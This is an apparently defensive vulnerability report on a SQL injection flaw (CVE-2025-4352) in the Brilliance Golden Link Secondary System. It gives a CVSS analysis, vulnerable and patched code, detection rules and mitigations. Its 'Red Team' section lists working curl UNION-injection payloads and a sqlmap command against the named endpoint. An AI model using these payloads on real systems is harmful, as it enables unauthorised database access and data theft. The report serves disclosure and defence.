CVE-2025-4352

Executive Summary

CVE-2025-4352 is a critical SQL injection vulnerability discovered in the Brilliance Golden Link Secondary System, affecting versions up to the 20250424 release. The flaw resides in the /reprotframework/tcEntrFlowSelect.htm endpoint, where the custTradeId parameter is not properly sanitized, allowing an attacker to inject arbitrary SQL commands. This vulnerability is remotely exploitable without authentication, and a proof-of-concept (PoC) has been publicly disclosed, increasing the risk of active exploitation. No patch or vendor advisory has been issued, leaving all deployments of this system exposed. The vulnerability is classified under CWE-89 (SQL Injection) and aligns with MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application). Given the lack of a patch, immediate mitigation through Web Application Firewall (WAF) rules and input validation is critical.

Supply Chain & Package Security

This vulnerability is not related to any package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary web application from Brilliance, and no open-source package or dependency is involved.

CVSS Breakdown & Threat Level

While the official CVSS vector is not provided, based on the description (critical, remote, unauthenticated SQL injection), a reasonable CVSS v3.1 score would be 9.8 (Critical) with the following vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerability does not affect other components.
• Confidentiality (C): High (H) – full database read access.
• Integrity (I): High (H) – ability to modify or delete data.
• Availability (A): High (H) – potential for denial of service via SQL manipulation.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public PoC makes this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the custTradeId parameter of the /reprotframework/tcEntrFlowSelect.htm endpoint. The application likely constructs a SQL query by directly concatenating user input without proper sanitization or parameterized queries. For example, the backend code might look like:

SELECT * FROM trade_flow WHERE cust_trade_id = '" + request.getParameter("custTradeId") + "'

An attacker can inject a single quote (') to break out of the string context and append malicious SQL. The public PoC demonstrates a simple payload such as:

' OR '1'='1

This would return all records from the underlying table, bypassing any intended filtering. More advanced payloads can be used for UNION-based data extraction, error-based injection, or time-based blind injection to enumerate the database schema, extract credentials, or even execute operating system commands if the database has sufficient privileges.

The vulnerability is classified as critical because it allows an attacker to:

• Read sensitive data (e.g., user credentials, financial records).
• Modify or delete data.
• Potentially escalate to remote code execution via xp_cmdshell (if SQL Server) or INTO OUTFILE (if MySQL).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be:

Vulnerable (Java/JSP example):

String custTradeId = request.getParameter("custTradeId");
String query = "SELECT * FROM trade_flow WHERE cust_trade_id = '" + custTradeId + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Patched (using parameterized query):

String custTradeId = request.getParameter("custTradeId");
String query = "SELECT * FROM trade_flow WHERE cust_trade_id = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, custTradeId);
ResultSet rs = pstmt.executeQuery();

The patched version uses a PreparedStatement with a parameterized query, which prevents SQL injection by treating user input as data, not executable code.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target system running Brilliance Golden Link Secondary System (up to 20250424).
• Network access to the /reprotframework/tcEntrFlowSelect.htm endpoint.

Exploit Steps:

1. Identify the vulnerable parameter: Send a request to the endpoint with a single quote to test for SQL injection.

   curl "http://target.com/reprotframework/tcEntrFlowSelect.htm?custTradeId=1'"
   

   If an error message is returned (e.g., SQL syntax error), the endpoint is vulnerable.

2. Extract database version (MySQL example):

   curl "http://target.com/reprotframework/tcEntrFlowSelect.htm?custTradeId=1' UNION SELECT @@version,2,3-- -"
   

3. Extract table names:

   curl "http://target.com/reprotframework/tcEntrFlowSelect.htm?custTradeId=1' UNION SELECT table_name,2,3 FROM information_schema.tables-- -"
   

4. Automated exploitation with sqlmap:

   sqlmap -u "http://target.com/reprotframework/tcEntrFlowSelect.htm?custTradeId=1" --batch --dbs
   

PoC Payload (Public):

custTradeId=' OR '1'='1

Blue Team (Defensive)

Detection:

• Monitor for SQL injection patterns in HTTP requests to /reprotframework/tcEntrFlowSelect.htm.
• Look for parameters containing single quotes, OR, UNION, SELECT, --, or #.
• Alert on unusual database error messages in HTTP responses.

Mitigation:

• Immediately apply a WAF rule to block SQL injection attempts on the custTradeId parameter.
• If possible, disable the endpoint or restrict access via IP whitelisting.
• Conduct a code review and implement parameterized queries as a permanent fix.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /reprotframework/tcEntrFlowSelect.htm with custTradeId containing SQL keywords (e.g., ' OR, UNION, SELECT).
  • Outbound database connections from the web server to unusual IPs (if data exfiltration occurs).
• File IOCs:
  • Unexpected files in the web root (e.g., .sql dumps, webshells).
• Log IOCs:
  • Database error logs containing SQL syntax errors.
  • Web server logs showing repeated requests with single quotes or SQL fragments.

Detection Engineering

YARA Rule

rule CVE_2025_4352_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-4352"
        author = "Valters IT"
        date = "2025-04-25"
        reference = "CVE-2025-4352"
    strings:
        $sqli1 = "custTradeId=" nocase
        $sqli2 = "' OR " nocase
        $sqli3 = "UNION SELECT" nocase
        $sqli4 = "1=1" nocase
        $sqli5 = "--" nocase
    condition:
        all of ($sqli1, $sqli2) or all of ($sqli1, $sqli3) or all of ($sqli1, $sqli4) or all of ($sqli1, $sqli5)
}

Sigma Rule

title: CVE-2025-4352 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against the Golden Link Secondary System
author: Valters IT
date: 2025-04-25
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "custTradeId=' OR"
            - "custTradeId=1' UNION"
            - "custTradeId=' OR '1'='1"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in input (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4352 SQL Injection Attempt"; flow:to_server; content:"/reprotframework/tcEntrFlowSelect.htm"; http_uri; content:"custTradeId"; http_uri; pcre:"/custTradeId=.*('|OR|UNION|SELECT|--)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. WAF Rule: Deploy a Web Application Firewall rule to block requests containing SQL injection patterns in the custTradeId parameter.
2. Input Validation: Implement server-side input validation to reject any non-alphanumeric characters in custTradeId.
3. Access Control: Restrict access to the /reprotframework/ directory via IP whitelisting or VPN.

Long-Term Fix:

• Replace all dynamic SQL queries with parameterized statements (prepared statements) in the application code.
• Conduct a full security audit of the application for similar vulnerabilities.
• Contact Brilliance for an official patch or consider migrating to a supported alternative.

Workaround:

• If the endpoint is not critical, disable it entirely by removing or renaming the file.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2025-4352